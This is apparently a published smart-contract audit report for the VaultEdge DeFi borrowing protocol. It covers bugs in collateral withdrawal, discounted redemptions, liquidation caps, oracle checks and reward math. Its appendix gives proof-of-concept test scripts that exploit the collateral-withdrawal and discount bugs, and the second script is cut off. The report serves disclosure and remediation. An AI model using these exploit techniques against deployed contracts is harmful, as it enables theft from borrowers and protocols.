Skip to main content
VaultEdgeVaultEdge - April 1, 2025

VaultEdge

Smart Contract Security Assessment

April 1, 2025

VaultEdge

SUMMARY

ID
DESCRIPTION
STATUS
PROTOCOL-LEVEL CONSIDERATIONS
P1
Discounts are only applied for single collateral redemptions
acknowledged
CRITICAL SEVERITY
C1
Incorrect calculation of the withdrawn collaterals in _adjustVault()
resolved
HIGH SEVERITY
H1
Incorrect implementation of discounts in redeemCollateralSingle()
resolved
H2
No upper cap on `collToSendToSP` when liquidation happens in Recovery mode
resolved
H3
Apply latest bug fixes and changes from original Liquity repo
resolved
MEDIUM SEVERITY
M1
Wrong check on the number of collaterals in vault in _adjustVault()
resolved
M2
PriceFeed contract does not check if chainlink oracle is frozen
resolved
M3
Incorrect amount sent to claimAddress in case of absorbed redistribution
resolved
M4
_redeemCollateral() is using AICR instead of ICR
resolved
M5
Wrong calculation of rewards in _updateDebtFromRewards()
resolved
LOW SEVERITY
L1
_notifyRewarders() performs a division by zero in veVaultedge contract
acknowledged
L2
interestTimeWindow is not initialized which leads to division by zero in tickInterest()
resolved
L3
BareVault does not implement the interface IVaultedgeVaultToken
resolved
L4
lastVEUSDDebtReward_Distribution is unused storage variable
resolved
CENTRALIZATION ISSUES
N1
Trust assumptions on permissioned roles
info
OTHER / ADVISORY ISSUES
A1
getVaultOwnersCount() and getVaultFromVaultOwnersArray() are implemented in the test contract.
resolved
A2
isValidAdditionalMinter() function has no implementation
resolved
A3
getVCAndRVCSystem() has wrong description
info
A4
MultiVaultGetter contract uses a deprecated interface IWhitelist
acknowledged
A5
Broken link in comments of StabilityPool contract
resolved
A6
_computeCR() function of LiquityMath library is not used
resolved
A7
Remove comments related to bootstrap period and whitelist contract
resolved
A8
_decPow can be optimized in VaultedgeMath library
resolved
A9
IPriceCurve is an unused interface
resolved
A10
compound() in Vault and BaseVault contracts does not use the return value
resolved
A11
_bridgeMint() performs a redundant check on the role of the caller
acknowledged
A12
Compiler bugs
info

ABSTRACT

Dedaub was commissioned to perform a security audit of VaultEdge borrowing protocol. One critical and three high severity issues were identified, along with several ones of lower severity.


BACKGROUND

VaultEdge is a decentralized borrowing protocol that enables users to borrow against their entire portfolio of assets. It builds on the Yeti protocol, a Liquity v1 clone which allows the borrower to use a large number of collateral assets. The audit mainly focusses on improvements over the Yeti code, which are discussed in the section below.


SETTING & CAVEATS

This audit report mainly covers the contracts of the PR #37 of the VaultEdge Protocol, which contains changes between

  • The main branch at commit e6a0a4d80b6db9bf650c20aca6acb00f0886df77
  • and the audit-202502 branch at commit da5272d5d7d8538a2b52ed40e07a9a3a6772e228

Two auditors worked on the codebase for 25 days and 2 extra days for reviewing the fixes.

This is a “delta” audit covering the changes between the above commits, and not the whole codebase. It should be emphasized that a delta audit of this size is inherently difficult since it is hard to isolate the actual changes in the diff. In the case of VaultEdge, this issue was further aggravated due to the following issues:

  • The base commit (e6a0a4d80b6db9bf650c20aca6acb00f0886df77) is not the final version of the Yeti protocol, so the audited diff contains changes to Yeti itself. The auditors did not focus on Yeti itself, assuming that it functions correctly.

  • A very large amount of changes consisted of rebranding and renaming (“Yeti” to “VaultEdge”, “trove” to “vault”, etc), which makes the diff impossible to follow.

  • A lot of further code refactoring was applied, for instance to use the diamond pattern.

As a consequence, the auditors mainly relied on the individual sub-PRs which as listed in the description of the main PR (#5 #4 #9 #8 #10 #15 #22 #25 #27 #28). These are smaller and cleaner, which allows the auditors to follow the changes more easily. Note, however, that there are changes in the main PR that are not contained in the individual PRs, the auditors tried to identify all such changes.

Overall, the main changes that were audited are outlined below:

  • The protocol keeps track of the current debt and makes sure it does not exceed above a specific debt cap.
  • It enforces a max number of collaterals for each vault.
  • For redemptions:
    • Apply a discount on the price of the collateral based on the safety ratio (this is called “Soft liquidations”).
    • Split fees to fee recipient, treasury, and borrower.
  • Aa new ERC20 token VEUSD is added, pegged to USD along with a cross with cross chain minting and burning capabilities
  • Replacement of wrapped token contract with Vault token contracts which allows auto-compounding.
  • Apply interests on the debt based on the collaterals in the vault with different interest rate per collateral
  • Apply VEUSD rewards to open vaults based on the collateral using notifyRewardAmount
  • Remove the bootstrap period for the protocol.
  • Change the sorted vault to be sorted based on the boostAICR instead of ICR which relies on the boost factor derived from the borrower's leverage and decays over time.
  • Use the diamond pattern for vault manager contracts.
  • Upgrade contracts to Solidity 0.8.x.
  • For liquidation by redistribution, add absorption of collaterals with no stakers.
  • Code-size and gas consumption optimizations and code cleanup.

The audit’s main target is security threats, i.e., what the community understanding would likely call "hacking", rather than the regular use of the protocol. Functional correctness (i.e. issues in "regular use") is a secondary consideration. Typically it can only be covered if we are provided with unambiguous (i.e. full-detail) specifications of what is the expected, correct behavior. In terms of functional correctness, we often trusted the code’s calculations and interactions, in the absence of any other specification. Functional correctness relative to low-level calculations (including units, scaling and quantities returned from external protocols) is generally most effectively done through thorough testing rather than human auditing.


VULNERABILITIES & FUNCTIONAL ISSUES

This section details issues affecting the functionality of the contract. Dedaub generally categorizes issues according to the following severities, but may also take other considerations into account such as impact or difficulty in exploitation:

CATEGORY
DESCRIPTION
CRITICAL
Can be profitably exploited by any knowledgeable third-party attacker to drain a portion of the system’s or users’ funds OR the contract does not function as intended and severe loss of funds may result.
HIGH
Third-party attackers or faulty functionality may block the system or cause the system or users to lose funds. Important system invariants can be violated.
MEDIUM
Examples:
  • User or system funds can be lost when third-party systems misbehave
  • DoS, under specific conditions
  • Part of the functionality becomes unusable due to a programming error
LOW
Examples:
  • Breaking important system invariants but without apparent consequences
  • Buggy functionality for trusted users where a workaround exists
  • Security issues which may manifest when the system evolves

Issue resolution includes “dismissed” or “acknowledged” but no action taken, by the client, or “resolved”, per the auditors.


PROTOCOL CONSIDERATION

P1

Discounts are only applied for single collateral redemptions

PROTOCOL-LEVEL-CONSIDERATION
acknowledged

Acknowledged

A disclaimer was added in the documentation of the project.

The soft liquidation feature allows a redeemer to redeem VEUSD against a collateral at a discount price. However, the discount only applies if the redeemer performs a single collateral redemption using redeemCollateralSingle(). So if the redeemer chooses to redeem from multiple collaterals using redeemCollateral(), the discount is not applied. Therefore, for a redeemer who wishes to redeem a large amount of VEUSD (i.e., can only be covered by redeeming from multiple vaults), calling redeemCollateral() is not optimal as it forbids the redeemer from profiting from the discount. Instead, a better strategy for the redeemer is to first call redeemCollateralSingle() several times, to redeem the low safety ratio collaterals one by one from vault A that can be soft liquidated. Then call redeemCollateral() with the right amount of VEUSD that leads to closing vault A. Then repeat the same process again for vault B and so on... This overcomplicates the procedure of redemption on the user and increases its gas cost.

One suggestion for simplifying this procedure is to add another function redeemCollateralDiscount() which performs the same task as redeemCollateral() but prioritizes the redemption of low risk collaterals over the high risk ones while applying the discount.



CRITICAL SEVERITY

C1

Incorrect calculation of the withdrawn collaterals in _adjustVault()

CRITICAL
resolved

Resolved

The bug was fixed by fixing the wrong check and correcting the index calculation in this commit.

The function _adjustVault() calls _subColls() to perform the calculation of subtracting the removed collaterals (i.e., _collsOut) from the current collaterals in the vault. The function _subColls() runs a loop over all collaterals in the vault and iterates an index j over the collaterals in _collsOut. To make sure that all the collaterals in _colslOut are accounted (i.e., the vault owner is not trying to withdraw from his vault a collateral that he does not have), the following check on the index j is performed: _requireInputCorrect(j == _tokens2.length - 1) where _tokens2.length is the number of collaterals in _collsOut. However, this check is wrong because it does not capture all possible scenarios. For example, if there is only one collateral in _collsOut (i.e., _tokens2.length = 1) this check will pass even when not all collaterals in _collsOut are accounted for (i.e., j = 0). In general, the bug can be exploited by including at the end of _collsOut a collateral with higher index than all the indices of the current collaterals. This will allow the function _subColls() to execute without accounting the last collateral in _collsOut. Later in _adjustVault(), it will send that collateral to the vault owner even though he did not have it in the first place (i.e.,
_sendCollateralsUnwrap(contractsCache.activePool, params._collsOut, params._amountsOut).

function _subColls(...) internal view returns (address[] memory, uint256[] memory) {
...
for (; i < coll1Len; ++i) {
uint256 tokenIndex1 = tokenIndices1[i];
// If skipped past tokenIndex 2, then that means it was not seen in token index 1 array and this is an invalid sub.
_requireInputCorrect(tokenIndex2 >= tokenIndex1);
// If they are equal do the subtraction and increment j / token index 2.
if (tokenIndex1 == tokenIndex2) {
coll3.amounts[k] = _coll1.amounts[i].sub(_amounts2[j]);
// if nonzero, add to coll3 and increment k
if (coll3.amounts[k] != 0) {
coll3.tokens[k] = _coll1.tokens[i];
++k;
}
// If we have reached the end of tokens2, exit out to finish adding the remaining coll1 values.
if (j == _tokens2.length - 1) {
++i;
break;
}
// Dedaub: j should be incremented before the previous if condition
++j;
tokenIndex2 = tokenIndices2[j];
} else {
// Otherwise just add just add the coll1 value without subtracting.
coll3.amounts[k] = _coll1.amounts[i];
coll3.tokens[k] = _coll1.tokens[i];
++k;
}
}
...
// Require no additional token2 to be processed.
// Dedaub: The correct check is_requireInputCorrect(j == _tokens2.length);
_requireInputCorrect(j == _tokens2.length - 1);
...
}
// Require no additional token2 to be processed.
// Dedaub: The correct check is_requireInputCorrect(j == _tokens2.length);
_requireInputCorrect(j == _tokens2.length - 1);
...
}

A proof of concept for an exploit for this vulnerability is provided in Appendix Proof of Concept - C1.



HIGH SEVERITY

H1

Incorrect implementation of discounts in redeemCollateralSingle()

HIGH
resolved

Resolved

The discount formula is replaced as the suggested formula in this commit.

The protocol allows a redeemer to redeem collaterals at a discounted price from a borrower vault in a process called soft liquidation. The discount is applied in the function _redeemCollateralSingle() as: collClaim=RPmultipliercollClaim = \frac{R}{P} * multiplier and multiplier=CCRAICR0.4α+1multiplier = \frac{CCR - AICR}{0.4} * \alpha + 1 where RR is the amount of VEUSD redeemed, PP is the USD price of the collateral to be claimed from the vault, α\alpha is the safety ratio, and collClaimcollClaim is the amount of collaterals that the redeemer can claim. This formula is problematic because it allows the redeemer to claim more collateral than he should in a way that the ICR of the borrower’s vault decreases. In edge cases the ICR can even reach low values below the liquidation threshold (i.e., MCR) or even in extreme cases to an ICR = 0. Such a scenario is highly undesired because it leads to offset or distribute the debt of this extremely under collateralized vault causing losses for both the borrower and the SP stakers or other vault owners. To demonstrate the failure of this formula we demonstrate the relation between the newICR w.r.t. the oldICR.

oldICR=αC0PD0oldICR = \frac{\alpha * C_0 * P}{D_0}

newICR=αC1PD1=αPC0CollClaimD0R=αPC0RPmultiplierD0R newICR = \frac{\alpha * C_1 * P}{D_1} = \alpha * P * \frac{C_0 - CollClaim}{D_0 - R} = \alpha * P * \frac{C_0 - \frac{R}{P}*multiplier}{D_0 - R}
newICR=αPC0RP(CCRAICR0.4α+1)D0RnewICR = \alpha * P * \frac{C_0 - \frac{R}{P}*(\frac{CCR - AICR}{0.4} * \alpha + 1)}{D_0 - R}

If we normalize with P=1P = 1 and D0=1 D_0 = 1 and we replace CCR=1.5CCR=1.5, we get:

newICR=oldICRαR(1+3.75α2.5oldICRα)1RnewICR = \frac{oldICR - \alpha*R*(1+3.75*\alpha-2.5 * oldICR*\alpha)}{ 1- R}

By drawing the newICR w.r.t the percentage of redemption (i.e. R) in different settings for oldICR and SR we get the following graphs.

VaultEdge

VaultEdge

VaultEdge

𝜶 = 1𝜶 = 0.7𝜶 =0.5

It is clear from the above graphs that for some safety ratios, there is a specific value for oldICR where below it, the ICR decreases (i.e., newICR < oldICR). In fact, this critical value for oldICR where the ICR decreases upon redemption can be calculated as

oldICR=newICRoldICR = newICR

critICR=critICRαR(1+3.75critICRα)1RcritICR = \frac{critICR - \alpha*R*(1+3.75* critICR*\alpha)}{ 1- R}

critICR=α+3.75α21+2.5α2critICR = \frac{\alpha+3.75*\alpha^2}{1+2.5 * \alpha^2}

This means for α=1,critICR=1.357\alpha=1, critICR = 1.357, and for α=0.7,critICR=1.14\alpha=0.7, critICR = 1.14, and for α=0.5,critICR=0.88\alpha=0.5, critICR = 0.88.

To fix this issue, the formula used should be revisited. In particular, there should never be a discount for the price of the collateral that leads to its price being less than αP\alpha*P. To ensure this constraint, a better formula for the discount is:
discount=CCRICR0.4(1α)discount = \frac{CCR-ICR}{0.4}(1-\alpha).
Then collClaim can be calculated as:
collClaim=RP(1discount)collClaim = \frac{R}{P(1-discount)}.
With this formula, the relation between the newICR and oldICR can be depicted as follows:
newICR=αC1PD1=αPC0CollClaimD0R=αPC0RP(1discount)D0RnewICR = \frac{\alpha * C_1 * P}{D_1} = \alpha * P * \frac{C_0 - CollClaim}{D_0 - R} = \alpha * P * \frac{C_0 - \frac{R}{P*(1-discount)}}{D_0 - R}

newICR=αPC0RP(12.5(CCRICR)(1α))D0R newICR = \alpha * P * \frac{C_0 - \frac{R}{P*(1- 2.5*(CCR-ICR)(1-\alpha))}}{D_0 - R}

Based on the new formula, the graphs are shown below:

VaultEdge

VaultEdge

VaultEdge

𝜶 = 1𝜶 = 0.7𝜶 =0.5

Note: the old formula used AICR in the computation of the discount. It makes more sense to use the ICR as we did in the suggested new formula.

A proof of concept for an exploit to this bug is provided in Appendix Proof of Concept - H1.

H2

No upper cap on collToSendToSP when liquidation happens in Recovery mode

HIGH
resolved

Resolved

The changes were reverted and the upper cap was reintroduced in this commit.

The function _getCappedOffsetVals() was changed to not apply an upper cap on the collToSendToSP. Therefore, collSurplus is left empty and the entire vault will be liquidated without preserving the surplus collaterals for the liquidated borrower. As a consequence, when the system is in recovery mode, and when the borrower’s AICR < TCR and the SP has sufficient VEUSD, the borrower can be liquidated and loses his entire collateral. As an example, the TCR can be just below 1.5 and the AICR of the borrower’s vault can be just below the TCR. In that case, the borrower will incur huge loss up to 50% of his debt. This behavior contradicts with the description of the protocol in the docs.

H3

Apply latest bug fixes and changes from original Liquity repo

HIGH
resolved

Resolved

The patch from Liquity repo was applied to the code in this commit.

Based on the known issues in V1 & V2 we recommend to all V1 forks the integration of these additional safeguards captured in this the official Liquity repository, on branch main, commit 39f1f7f881de23200c296a892b891a6e2fc6e98f. If the changes are to be applied manually (instead of rebasing) our recommendation is to apply as a patch the differences to the main contracts (StabilityPool, TroveManager) between commits e38edf3dd67e5ca7e38b83bcf32d515f896a7d2f (old) in the main branch and

39f1f7f881de23200c296a892b891a6e2fc6e98f (new) in the main branch.

This patch is a total of 250 lines (most of them non-functionality, e.g., comments and renamings) and conservatively establishes that the stability pool never drops below 1 LUSD through liquidations, as well as limits rounding errors. Both Dedaub and the Liquity team recommend applying this patch as a conservative safeguard against the possibility of known issues being exploited in the future, and to reduce the risk of vulnerabilities being opened by code changes in forks.



MEDIUM SEVERITY

M1

Wrong check on the number of collaterals in vault in _adjustVault()

MEDIUM
resolved

Resolved

The variable vars.currAssets.length was replaced by vars.newAssets.length in this commit.

The check for the number of assets in the vault in function _adjustVault() is incorrectly implemented. In particular a wrong variable vars.currAssets.length is used instead of vars.newAssets.length.

function _adjustVault(...) internal {
...
// If there is an increase in the amount of assets in a vault
if (vars.currAssets.length < vars.newAssets.length) {
// Check that the result is less than the maximum amount of assets in a vault
// Dedaub: It should be vars.newAssets.length
_requireValidVaultCollsLen(contractsCache.controller, vars.currAssets.length);
}
...
}

M2

MEDIUM
resolved

Resolved

A check was added to ensure that the oracle response does not exceed a max stale period in this commit. Note that the commit contains a major refactoring to the PriceFeed contract(now called PriceFeedChainlink) . One major change to this contract is that the new implementation allows the owner of the contract to override the price of the oracle. This introduces a centralization issue which is discussed in N1. Other than that, a review was done to the changes and no issues were found.

In the contract PriceFeed the check whether the requested chainlink oracle is frozen is removed. A frozen oracle may return old price values and thus lead to wrong calculation of the collateral value. A check should be implemented using the timestamp provided in the response as suggested by the Chainlink team here. So, we recommend reverting these changes.

M3

Incorrect amount sent to claimAddress in case of absorbed redistribution

MEDIUM
resolved

Resolved

The correct index is passed by the caller function _processRedistribution() in the parameters and used correctly in _handleAbsorptionRedistribution() in this commit.

Function _handleAbsorptionRedistribution() performs a wrong indexing for the array params.amounts[]. In particular, the index of the token to be sent to claimAddress should be passed on by the caller function and determined by the iterator i of the loop in function _processRedistribution().

function _handleAbsorptionRedistribution(...) private {
...
// Handle non-redistributable collateral
bs.activePool.sendSingleCollateral(
bs.controller.getClaimAddress(),
absParams.token,
// Dedaub: wrong index here. It should be i (from caller function)
params.amounts[params.tokensLen - 1]
);
params.amounts[params.tokensLen - 1] = 0;
}

M4

_redeemCollateral() is using AICR instead of ICR

MEDIUM
resolved

Resolved

The call to _getCurrentAICR() was replaced with a call to _getCurrentICR() in both noted locations in this commit.

The function _redeemCollateral() is checking if the AICR of the borrower’s vault is higher than MCR. According to the docs, the correct condition for soft liquidation (i.e., redemption) is MCR < ICR < CCR.

function _redeemCollateral(...) internal {
...
// Process redemptions
while (
currentBorrower != address(0) &&
totals.remainingVEUSD != 0 &&
_maxIterations != 0
) {
_maxIterations--;
address nextUserToCheck = baseDs.sortedVaults.getPrev(currentBorrower);

// Dedaub: the check should be ICR(currentBorrower) >= MCR
if (_getCurrentAICR(currentBorrower) >= bs.controller.MCR()) {
...
}

currentBorrower = nextUserToCheck;
}
...
}

In addition, the function _getFirstValidVault() also uses AICR instead of ICR.

function _getFirstValidVault(VaultManagerBaseFacetStorage storage baseDs, address _firstRedemptionHint) internal view returns (address) {
if (_isValidFirstRedemptionHint(baseDs.sortedVaults, _firstRedemptionHint)) {
return _firstRedemptionHint;
}
address currentBorrower = baseDs.sortedVaults.getLast();
uint256 MCR = baseStorage().controller.MCR();
// Dedaub: the check should be ICR(currentBorrower) < MCR
while (currentBorrower != address(0) && _getCurrentAICR(currentBorrower) < MCR) {
currentBorrower = baseDs.sortedVaults.getPrev(currentBorrower);
}
return currentBorrower;
}
Note:
  • The docs sets the check for the ICR as strictly higher than the MCR for soft liquidation and it additionally allows vaults with ICR = MCR to be liquidated. However, we believe that this is a mistake and ICR = MCR should be under soft liquidation rather than liquidation. This is also suggested by the implementation of the liquidation which does not allow for vaults with ICR = MCR to be liquidated.

M5

Wrong calculation of rewards in _updateDebtFromRewards()

MEDIUM
resolved

Resolved

The decimals value was replaced with the correct value (i.e., 18) in this commit.

The function VaultManagerFacet._updateDebtFromRewards() calculates the VEUSDDebtRewardPerUnitStaked using the decimals from collAddress. The value should be instead calculated in the format of 18 decimals because it is applied to the vault debts.

function _updateDebtFromRewards(address _token, uint256 _amount) internal {
VaultManagerBaseFacetStorage storage baseDs = vaultManagerBaseStorage();
uint256 dec = _getIERC20Decimals(_token);
uint256 thisTotalStakes = baseDs.totalStakes[_token];
uint256 adjustedTotalStakes;
if (dec > 18) {
adjustedTotalStakes = thisTotalStakes / 10**(dec - 18);
} else {
adjustedTotalStakes = thisTotalStakes * 10**(18 - dec);
}
// Dedaub: this should be formatted in 18 decimals
// _amount * 10 ** 18 / adjustedTotalStakes
uint256 VEUSDDebtRewardPerUnitStaked = _amount * 10 ** dec / adjustedTotalStakes;
...
}


LOW SEVERITY

L1

_notifyRewarders() performs a division by zero in veVaultedge contract

LOW
acknowledged

Acknowledged

The contract is deprecated and will not be used.

In the contract veVaultEdge a division by zero might occur in the function _notifyRewarders() if a user stakes all his tokens for collateralGate and all of them were locked. This leads to preventing the user from updating his stakes through update() until collateralGate unlocks some of the locked tokens.

function _notifyRewarders(...) internal {
UserInfo storage userInfo = users[_user];
uint256 currentVeVaultedge = getTotalVeVaultedge(_user);
for (uint256 i = 0; i < rewarders.length; i++) {
address rewarder = rewarders[i];
if (isUpdatableRewarder[rewarder]) {
uint256 veVaultedgeAmount = 0;
if (userInfo.totalVaultedge > 0) {
// Dedaub: division by zero if
// userInfo.totalVaultedge = userLockedVaultedgeAmount[_user]
veVaultedgeAmount = currentVeVaultedge * userInfo.vaultedgeStakes[rewarder] / (userInfo.totalVaultedge - userLockedVaultedgeAmount[_user]);
}
IRewarder(rewarder).updateFactor(_user, veVaultedgeAmount);
}
}
}

L2

interestTimeWindow is not initialized which leads to division by zero in tickInterest()

LOW
resolved

Resolved

A check was added to make sure that baseDs.interestTimeWindow is not zero in commit.

The variable insertTimeWindow of VaultManagerBaseFacetStorage is initialized to zero. If this variable is not set, a division by zero will occur in _tickInterest() function when it performs the operation uint256 interestMultiplier = (interestRates[i] * timeElapsed) / baseDs.interestTimeWindow + 1e18;

L3

BareVault does not implement the interface IVaultedgeVaultToken

LOW
resolved

Resolved

The depositFor() function is implemented in BareVault contract in this PR.

BareVault contract should implement the interface IVaultedgeVaultToken to allow other contracts to perform operations on wrapped tokens. However, the function depositFor() is not implemented. Consequently, the GLPVault which is based on BareVault does not have a depositFor() function. So if the protocol use a GLPVault token as collateral, the function BorrowerOperations::_singleTransferCollateralIntoActivePool() will cause errors when calling IVaultedgeVaultToken(_coll).depositFor().

L4

lastVEUSDDebtReward_Distribution is unused storage variable

LOW
resolved

Resolved

The variable lastVEUSDDebtReward_Distribution is now used to apply the carried error in the calculation in this commit and this PR.

The variable lastVEUSDDebtReward_Distribution is supposed to carry the error from one calculation to the next update but is never used. It is recommended to apply the error as done for lastVEUSDDebtError_Redistribution. Also, one should consider updating its name to lastVEUSDDebtRewardError_Distribution. Additionally, the division should happen with 10 ** 18 and not 10** dec.



CENTRALIZATION ISSUES

It is often desirable for DeFi protocols to assume no trust in a central authority, including the protocol’s owner. Even if the owner is reputable, users are more likely to engage with a protocol that guarantees no catastrophic failure even in the case the owner gets hacked/compromised. We list issues of this kind below. (These issues should be considered in the context of usage/deployment, as they are not uncommon. Several high-profile, high-value protocols have significant centralization threats.)

N1

Trust assumptions on permissioned roles

CENTRALIZATION
info

The VaultEdge contracts contain a number of operations performed by accounts with permissioned roles. In particular, the owner of the VaultEdgeController contract and the admins of the threeDayTimelock and twoWeekTimelock are trusted by the users. Additionally, the owners of several other auxiliary contracts such as the DebtCapManager contract, the price oracle contracts, the swapping routers contracts, the CommunityIssuance contract, etc. are also trusted. The protocol’s security depends to an important extent on these trust assumptions.



OTHER / ADVISORY ISSUES

This section details issues that are not thought to directly affect the functionality of the project, but we recommend considering them.

A1

getVaultOwnersCount() and getVaultFromVaultOwnersArray() are implemented in the test contract.

ADVISORY
resolved

Resolved

The missing implementations were moved to the diamond contracts.

The functions IVaultManager::getVaultOwnersCount() and IVaultManager::getVaultOwnersCount() are implemented in the test contract VaultManagerFacetTester. An implementation can be found also in the contract VaultManager but this contract is deprecated. One should consider moving the implementations to the diamond pattern contracts.

A2

isValidAdditionalMinter() function has no implementation

ADVISORY
resolved

Resolved

IVaultedgeController::isValidAdditionalMinter() was implemented in this commit.

The function IVaultedgeController::isValidAdditionalMinter() is not implemented but yet used in VaultManagerRedemptionsFacet::burn()

A3

getVCAndRVCSystem() has wrong description

ADVISORY
info

The description of ActivePool::getVCAndRVCSystem() needs to be updated to match the changes applied to this function. In particular, the netspec description of the function mentions "@notice Function for getting the VC value but using the Recovery ratio instead of the safety ratio”. This is not accurate as the function returns VC value based on both the safety and recovery ratios.

A4

MultiVaultGetter contract uses a deprecated interface IWhitelist

ADVISORY
acknowledged

Acknowledged

The contract is deprecated and will not be used.

Whitelist contract is replaced with VaultedgeController but MultiVaultGetter is still using IWhitelist interface for one of its storage variables (i.e., whitelist).

A5

ADVISORY
resolved

Resolved

The link was fixed in this commit.

One of the github url links in the description of StabilityPool is broken.

A6

_computeCR() function of LiquityMath library is not used

ADVISORY
resolved

Resolved

The unused function was removed in this commit.

LiquityMath::_computeCR() is not used.

A7

ADVISORY
resolved

Resolved

The inaccurate comments in the code were fixed in this commit.

Several contracts still have comments about the bootstrap period and the whitelist contract which are deprecated / rebranded.

A8

_decPow can be optimized in VaultedgeMath library

ADVISORY
resolved

Resolved

The suggested optimization was applied to mentioned libraries in this commit.

The math function _decPow in the libraries VaultedgeMath and LiquityMath can be optimized as follows:

function _decPow(uint _base, uint _minutes) internal pure returns (uint) {
...
while (n > 1) {
if (n % 2 != 0) {
y = decMul(x, y);
}
x = decMul(x, x);
n = n.div(2);
}
return decMul(x, y);
}

A9

IPriceCurve is an unused interface

ADVISORY
resolved

Resolved

The interface was removed in this commit.

IPriceCurve interface is not used and can be removed.

A10

compound() in Vault and BaseVault contracts does not use the return value

ADVISORY
resolved

Resolved

The unused return variables were removed in this commit.

Vault.compound() and BaseVault.compound() always return zero so they can be made a non-returning function. Note that BaseVault._compound() is virtual but also GLPVault._compound() which overrides it returns always zero and none of the callers check the return value.

A11

_bridgeMint() performs a redundant check on the role of the caller

ADVISORY
acknowledged

Acknowledged

The developers decided to keep the check in case that some future updates introduced another caller to this function which does not perform the check.

veUSDToken_CrossChain._bridgeMint() performs the check _checkRole(BRIDGE_ROLE) but this check is not needed because the only caller veUSDToken_CrossChain.mint() already performs this check.

A12

Compiler bugs

ADVISORY
info

The code is compiled with Solidity 0.8.0. Version 0.8.0, in particular, has some known bugs, which we do not believe affect the correctness of the contracts.



DISCLAIMER

The audited contracts have been analyzed using automated techniques and extensive human inspection in accordance with state-of-the-art practices as of the date of this report. The audit makes no statements or warranties on the security of the code. On its own, it cannot be considered a sufficient assessment of the correctness of the contract. While we have conducted an analysis to the best of our ability, it is our recommendation for high-value contracts to commission several independent audits, a public bug bounty program, as well as continuous security auditing and monitoring through Dedaub Security Suite.


ABOUT DEDAUB

Dedaub offers significant security expertise combined with cutting-edge program analysis technology to secure some of the most prominent protocols in DeFi. The founders, as well as many of Dedaub's auditors, have a strong academic research background together with a real-world hacker mentality to secure code. Protocol blockchain developers hire us for our foundational analysis tools and deep expertise in program analysis, reverse engineering, DeFi exploits, cryptography and financial mathematics.


APPENDIX

Proof of Concept - C1

This test is not a standalone test. It depends on helper functions and test setups from the test suites provided in the project. To run this test, place it under 'adjustVault() multi collateral' test suite in BorrowerOperationsMultiCollateral.spec.ts file.

it('Adjusts vault with collOut not in vault', async () => {

await th.addMultipleERC20(
alice,
contracts.borrowerOperations.address,
[collaterals.tokenA],
[dec(500, 18)],
{ from: alice, gasLimit : 5000000 }
)

await th.addMultipleERC20(
bob,
contracts.borrowerOperations.address,
[collaterals.tokenB],
[dec(500, 18)],
{ from: bob, gasLimit : 5000000 }
)

await contracts.borrowerOperations
.connect(aliceSigner)
.openVault(
th._100pct,
VEUSDMinAmount,
alice,
alice,
[collaterals.tokenA.address],
[dec(50, 18)],
{ from: alice, gasLimit : 5000000 }
)

await contracts.borrowerOperations
.connect(bobSigner)
.openVault(
th._100pct,
VEUSDMinAmount,
bob,
bob,
[collaterals.tokenB.address],
[dec(50, 18)],
{ from: bob, gasLimit : 5000000 }
)

console.log((await collaterals.tokenB.balanceOf(alice)).toString())

// Can still add collateral with 0 value but does not do anything.
await contracts.borrowerOperations
.connect(aliceSigner)
.adjustVault(
[],
[],
[collaterals.tokenB.address],
[toBN(dec(1, 18))],
0,
false,
alice,
alice,
th._100pct,
{ from: alice, gasLimit : 5000000}
)

console.log((await collaterals.tokenB.balanceOf(alice)).toString())
})

Proof of Concept - H1

This test is not a standalone test. It depends on helper functions and test setups from the test suites provided in the project. To run this test, place it under the 'Multi Collateral' test suite in VaultManager.spec.ts file.

it('redeemCollateralSingle() - Exploit discount feature', async () => {
await th.addERC20(contracts.weth, A, contracts.borrowerOperations.address, toBN(dec(100, 30)), { from: A })
await th.addERC20(contracts.weth, B, contracts.borrowerOperations.address, toBN(dec(100, 30)), { from: B })
await th.addERC20(contracts.weth, C, contracts.borrowerOperations.address, toBN(dec(100, 30)), { from: C })
await contracts.borrowerOperations
.connect(ASigner)
.openVault(
th._100pct,
await getOpenVaultVEUSDAmount(dec(20000, 18)),
A,
A,
[contracts.weth.address],
[dec(10000, 18)],
{ from: A }
)
await contracts.borrowerOperations
.connect(BSigner)
.openVault(
th._100pct,
await getOpenVaultVEUSDAmount(dec(20000, 18)),
B,
B,
[contracts.weth.address],
[dec(10000, 18)],
{ from: B }
)

// open vault C with 20000 VEUSD and 110 eth ( = 22000 $) => ICR = 110%
await contracts.borrowerOperations
.connect(CSigner)
.openVault(
th._100pct,
await getOpenVaultVEUSDAmount(dec(20000, 18)),
C,
C,
[contracts.weth.address],
[dec(110, 18)],
{ from: C , gasLimit: 3000000}
)

await contracts.vaultManager.setBaseRate(0)

const C_debt_before = await contracts.vaultManager.getVaultDebt(C)
const C_coll_before = await contracts.vaultManager.getVaultColls(C)
const C_ICR_BEFORE = await contracts.vaultManager.getCurrentAICR(C)
const SR = await contracts.vaultedgeController.getSafetyRatio(contracts.weth.address)
const TCR_BEFORE = await contracts.vaultManager.getTCR()
const delta = MRR.sub(C_ICR_BEFORE)
const discount = delta.mul(SR).div(dec(4, 17))
const multiplier = toBN(dec(1, 18)).add(discount)


console.log('Safety Ratio of Eth:', SR.div(toBN(dec(1,18))).toString())
console.log('Discount Multiplier:', multiplier.div(toBN(dec(1,18))).toString())
console.log('Price of Eth:', (await contracts.priceFeed.getPrice()).div(toBN(dec(1,18))).toString(), "USD")

console.log('Carol\'s debt before:', (C_debt_before.div(toBN(dec(1,18)))).toString(), "VEUSD")
console.log('Carol\'s collateral before:', (C_coll_before[1][0].div(toBN(dec(1,18)))).toString(), "ETH")

console.log('Carol\'s ICR before:', (C_ICR_BEFORE.div(toBN(dec(1,16)))).toString(), "%")

console.log('TCR before:', (TCR_BEFORE.div(toBN(dec(1,16)))).toString(), "%")

// VEUSD redemption is 500 VEUSD. This amount allows actual redemption (without fees) to be 11000 VEUSD, which leads to claiming 22000 $ worth of ETH which is the entire collateral
// Note: we use 10999 instead of 11000 since the AICR cannot be exactly 0% because then we cannot find a hint < AICR.
const VEUSDRedemption = toBN(dec(10999, 18))

await contracts.veusdToken
.connect(await ethers.getSigner(A))
.approve(contracts.vaultManagerRedemptions.address, VEUSDRedemption.mul(2), { from: A })


console.log('Redeeming', VEUSDRedemption.toString(), 'VEUSD ...')
const tx = await contracts.vaultManagerCaller.connect(await ethers.getSigner(A)).redeemCollateralSingle(
VEUSDRedemption,
VEUSDRedemption,
C,
CSigner.address,
"0x0000000000000000000000000000000000000000",
toBN(dec(2,16)),
contracts.weth.address,
{ from: A, gasLimit: 30000000}
)

